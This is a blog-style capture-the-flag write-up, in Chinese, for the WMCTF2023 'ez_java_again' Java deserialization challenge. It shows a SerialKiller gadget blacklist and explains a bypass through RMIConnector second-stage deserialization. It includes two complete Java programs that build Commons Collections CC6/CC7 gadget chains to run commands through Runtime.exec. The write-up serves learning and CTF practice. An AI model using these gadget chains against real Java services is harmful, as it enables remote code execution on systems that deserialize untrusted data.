WMCTF2023-ez_java_again(RMIConnector二次反序列化)
follycat Lv3

环境搭建

这里用的是CTF复现计划里的docker进行搭建的。

docker命令

1
docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/wmctf2023_ezjavaagainrev

访问12345端口即可

解题

首先看到题目中有一个按钮,点击后没啥反应,随后进行查看源代码以及抓包。

抓包到了url参数,并且源码中有url1这个参数,并说明了有安全问题已经被废弃掉了。

因此使用url1这个参数来进行文件读取。

1
/Imagefile?url1=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/ctf/help_me/%23java

将这俩个文件夹里的文件都读取出来,这个环境里面的.class文件都可以直接读取然后直接放到idea里面查看源码。

直接看他造成反序列化的CmdServlet.class这个类

其中过滤在/WEB-INF/classes/config/serialkiller.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateFactory$</regexp>
<regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.traxTrAXFilter$</regexp>
<regexp>org\.apache\.commons\.collections\.functorsFactoryTransformer$</regexp>

<regexp>javax\.management\.BadAttributeValueExpException$</regexp>
<regexp>org\.apache\.commons\.collections\.keyvalue\.TiedMapEntry$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TemplatesImpl$</regexp>
<regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.trax\.TrAXFilter$</regexp>
<regexp>java\.security\.SignedObject$</regexp>

<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateFactory$</regexp>
<regexp>com\.sun\.org\.apache\.xalan\.internal\.xsltc\.traxTrAXFilter$</regexp>
<regexp>org\.apache\.commons\.collections\.functorsFactoryTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>
<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
<regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
<regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>
<regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>
<regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>
<regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
<regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>
<regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
<regexp>java\.util\.PriorityQueue$</regexp>
<regexp>java\.lang\.reflect\.Proxy$</regexp>
<regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>
<regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>
<regexp>java\.beans\.EventHandler$</regexp>
<regexp>java\.util\.Comparator$</regexp>
<regexp>org\.reflections\.Reflections$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>

根据批注以及xml文件可以发现其中过滤了ChainedTransformer,TrAXFilter等类,将cc1-6基本上全ban了,但是他没有禁用InvokeTransformer这一关键类以及cc7这条链的入口点函数,说明这个类以及cc7的入口点应该是解题必备的。

根据上面的思路进行构造,将cc7的入口点直接和InvokeTransformer进行组合操作,中间不调用ChainedTransformer,但是现在是有一个问题的,就是runtime是无法序列化的,又不能调用ChainedTransformer,所以这里需要一个新的可以执行命令的方法,又或者可以进行二次反序列化,因此这里使用RMI二次反序列化进行绕过。

RMIConnector二次反序列化

原理

RMIConnector是RMI中负责远程连接的类,位于javax.management.remote.rmi.RMIConnector

首先看到其findRMIServerJRMP方法

可以发现其接受一个base64的字符串并将其解密并进行了反序列化操作,也就是oin.readObject();继续向上找谁调用了findRMIServerJRMP,并且传入的base64是可控的,找到findRMIServer这个方法。

可以发现,当path开头为/stub/时将会调用findRMIServerJRMP,并且将传入截取之后的path,继续向上寻找,找到connct中调用了该方法。

当然调用条件为rmiServer=null,寻找可以让rmiServer为null的构造方法,找到RMIConnector

其只构造JMXServiceURLenvironment完美符合条件。

所以只需要构造成这样,然后可以使用cc链对rmiConnector的connct方法进行调用即可触发二次反序列化。

1
2
3
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

因为不需要多次调用invokerTransformer,所以无需使用chainedTransformer,那就会又有一个问题,就是transform的key(input)应该如何传入。

如果可以使用TiedMapEntry的话可以直接将需要的类传给他的第二个参数,由于没有ConstantTransformer,这将会直接改变key的值(cc1中ConstantTransformer的作用)。

payload

payload_cc6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.example.RMIConnector;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class RMIConnector2 {
public static void main(String[] args) throws Exception{
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+getCC6Payload("calc"));
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,rmiConnector);
HashMap<Object,Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"aaa");
lazymap.remove(rmiConnector);
setFieldValue(lazymap,"factory", invokerTransformer);

Serialize(map1);
Unserialize("ser.bin");

}
public static String getCC6Payload(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("useless"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc");
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "def");
//修改为HashSet调用readObject方法
HashSet<Object> hashSet = new HashSet<>();
setFieldValue(hashSet, "map", hashMap2);
lazyMap.remove("abc");
setFieldValue(lazyMap, "factory", chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
return Base64.getEncoder().encodeToString(barr.toByteArray());
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void Serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);

}

public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;

}
}

当然在这个题中TiedMapEntry是被禁用了的,同上面的思路还是使用cc7的入口点来调用RMIConnector。

这里需要注意一点的就是key的设置,由于这里没有TiedMapEntry,所以key是无法直接反射进行传参的,并且LazyMap是基于hashMap1和hashMap2进行懒加载的,所以在实际储存和访问key时需要先反射来访问hashMap1中的table数组,从中获取到我们需要修改的key的Node对象(这个对象中包含了key和value),对该node对象进行反射修改key。

通过调试首先可以看到table数组中的值为node对象

然后看到其中的key和value

继续调试,发现key从1被替换为rmiConnector

cc7payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package org.example.RMIConnector;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class RMIConnector1 {
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+getCC6Payload("calc"));
RMIConnector Rmiconnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map map1 = LazyMap.decorate(hashMap1, new ConstantTransformer(1));
Map map2 = LazyMap.decorate(hashMap2, invokerTransformer);
map1.put("1", "yy");
map2.put("zZ", Rmiconnector);

Hashtable hashtable = new Hashtable();
hashtable.put(map1, 1);
hashtable.put(map2, 1);

Field table = hashMap1.getClass().getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashMap1);
Object node = array[0];
if(node == null){
node = array[1];
}
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node, Rmiconnector);

// Serialize(hashtable);
//
// byte[] bytes = serialize(hashtable);
// System.out.println(Base64.getEncoder().encodeToString(bytes));
Unserialize("ser.bin");



}
public static String getCC6Payload(String cmd) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
//随便设置一个值,防止后面再执行put方法的时候调用链子
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("useless"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "abc");
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "def");
//修改为HashSet调用readObject方法
HashSet<Object> hashSet = new HashSet<>();
setFieldValue(hashSet, "map", hashMap2);
lazyMap.remove("abc");
setFieldValue(lazyMap, "factory", chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
return Base64.getEncoder().encodeToString(barr.toByteArray());
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}

public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;

}
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);

}
}

参考文章

https://tttang.com/archive/1701/#toc_rmiconnector

https://www.freebuf.com/articles/web/372573.html#/

https://www.yuque.com/dat0u/ctf/en3rym0131fuby60#

 Comments
Comment plugin failed to load
Loading comment plugin
Please fill in the required configuration items for Valine comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View